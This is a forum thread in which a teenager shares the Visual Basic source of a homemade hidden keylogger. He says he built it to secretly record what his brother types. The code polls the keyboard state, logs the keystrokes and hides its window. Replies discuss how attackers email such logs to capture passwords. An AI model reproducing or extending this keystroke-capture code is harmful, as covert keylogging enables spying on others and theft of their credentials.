The Funelephant Forums!

You are not logged in.

Announcement

The Forums are currently Read-Only except for Mods & admin. These forums are closing down, but don't worry! We created a new forum, with more features! They are almost ready. We know it's hard to transition, but it's for the best! :D New Forums are here!

Adverts

Adverts

#1 Monday, July 16, 2012 12:44:34

daniel_j
From: Adelaide, Australia
Registered: Monday, July 2, 2012
Posts: 303
FunCoinz: 256
Bank: 50
Reputation :   
Website

Keylogger using Visual Basic. <--No download link.-->

Hey Guys, I have recently started learning VB, I have spent the good side of the last 2 days creating an 'invisble' keylogger on my computer, I made it souly for the purpose of keeping track of what people are doing on it. (As while i'm at school my brother likes to use it.) So, i'm not going to post a download link, as I think it would be frowned upon, although no information is actually sent to me. Here is a snippet of the source code. :)

Code:

Public Class Form1
    Dim num1 As Integer = 1
    Dim key As Integer
    Dim num2 As Integer = 1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ProgressBar1.Increment(1)

        If ProgressBar1.Value = (100) Then
            TextBox2.Text = ("Loaded! ^_^")



        End If

        For i = 1 To 255

            key = 0

            key = GetAsyncKeyState(i)

            If key = -32767 Then

                TextBox1.Text = TextBox1.Text + Chr(i)

            End If
            If TextBox3.Text = ("fve12") Then
                MsgBox("Made By Dan Jones, For Personal Use.")
                Close()


            End If
        Next i

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click, Button2.Click
        If TextBox3.Text = ("danj") Then
            TextBox1.Text = ("")
        End If
        If TextBox3.Text = ("five12") Then
            Close()
        End If

        If num2 = 1 Then
            MsgBox("Error! A password is required to Close or Clear the keylogger.")
            Dim num1 As Integer = 2

        End If




    End Sub

    Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub TextBox2_TextChanged_1(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.MouseHover

    End Sub

    Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged

    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
        Dim var()
    End Sub

    Private Sub VScrollBar1_Scroll(ByVal sender As System.Object, ByVal e As System.Windows.Forms.ScrollEventArgs)

    End Sub

    Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub Process1_Exited(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub


    Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick

    End Sub

    Private Sub Button3_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Me.Visible = False
    End Sub
   
    Private Sub ContextMenuStrip1_Opening(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles ContextMenuStrip1.Opening

    End Sub

    Private Sub MadeByDanJonesToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MadeByDanJonesToolStripMenuItem.Click
        MsgBox("This was a project for my own personal use, If by some mystery you have obtained this source code, it is harmless, only if you don't want system32.")
    End Sub

    Private Sub OpenToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OpenToolStripMenuItem.Click
        Dim num2 = 5
        Me.Visible = True

    End Sub

    Private Sub Form1_Shown(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Shown
        Me.Visible = False
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick, MyBase.Load
        Dim msg As Integer = 1

        msg = "2"



        If msg = 1 Or msg = 2 Then

            msg = "3"

        End If



    End Sub
End Class

Other than this, I had to create visuals for it, these visuals are only available through the notifyicon tray. The keylogger also contains another form for actually exporting the logged tex, but I will not post that as it might be 'illegal'.
What do you think? Should I give up on VB or should I carry on?
Dan

P.S
Here is an image of the GUI so far.
http://i46.tinypic.com/mxw8.jpg
Nice Desktop Eyy? :P

Last edited by daniel_j (Monday, July 16, 2012 12:45:53)


For all those wondering why, why?

Offline

 

Monday, July 16, 2012 12:44:34

AdBot
Advertisements

#2 Monday, July 16, 2012 12:58:05

funelephant
Registered: Tuesday, April 10, 2012
Posts: 1114
FunCoinz: 468
Bank: 462
Reputation :   

Re: Keylogger using Visual Basic. <--No download link.-->

What exactly does this do?


We found this tube of glue stuck to your... uh... anyways, you can only use glue sticks now.
http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/90000/3000/900/93946/93946.strip.zoom.gif

Offline

 

#3 Monday, July 16, 2012 13:00:43

daniel_j
From: Adelaide, Australia
Registered: Monday, July 2, 2012
Posts: 303
FunCoinz: 256
Bank: 50
Reputation :   
Website

Re: Keylogger using Visual Basic. <--No download link.-->

funelephant wrote:

What exactly does this do?

This is a program that hackers thrive on, it basically copys what ever you type into your keyboard and sends it via email to hacker, or in my case, it saves it to a text file. It is a very simple and useful program, it is a nice way to monitor your kids internet use (even hough we are the kids that need monitoring :P).
So, if I was a hacker, i would put a dwonload link out, and in my program I would embed an auto email script to send the log to me, thus giving me all your bank passwords and personal information :)


For all those wondering why, why?

Offline

 

#4 Monday, July 16, 2012 13:03:33

funelephant
Registered: Tuesday, April 10, 2012
Posts: 1114
FunCoinz: 468
Bank: 462
Reputation :   

Re: Keylogger using Visual Basic. <--No download link.-->

daniel_j wrote:

funelephant wrote:

What exactly does this do?

This is a program that hackers thrive on, it basically copys what ever you type into your keyboard and sends it via email to hacker, or in my case, it saves it to a text file. It is a very simple and useful program, it is a nice way to monitor your kids internet use (even hough we are the kids that need monitoring :P).
So, if I was a hacker, i would put a dwonload link out, and in my program I would embed an auto email script to send the log to me, thus giving me all your bank passwords and personal information :)

That's cool, but sorta scary O.o


We found this tube of glue stuck to your... uh... anyways, you can only use glue sticks now.
http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/90000/3000/900/93946/93946.strip.zoom.gif

Offline

 

#5 Monday, July 16, 2012 13:08:47

daniel_j
From: Adelaide, Australia
Registered: Monday, July 2, 2012
Posts: 303
FunCoinz: 256
Bank: 50
Reputation :   
Website

Re: Keylogger using Visual Basic. <--No download link.-->

funelephant wrote:

That's cool, but sorta scary O.o

Yeah, I guess it could be considered scary, I would call it deceving and spiteful :D


For all those wondering why, why?

Offline

 

Adverts

Board footer

Powered by FluxBB
Hosted by PunBB-Hosting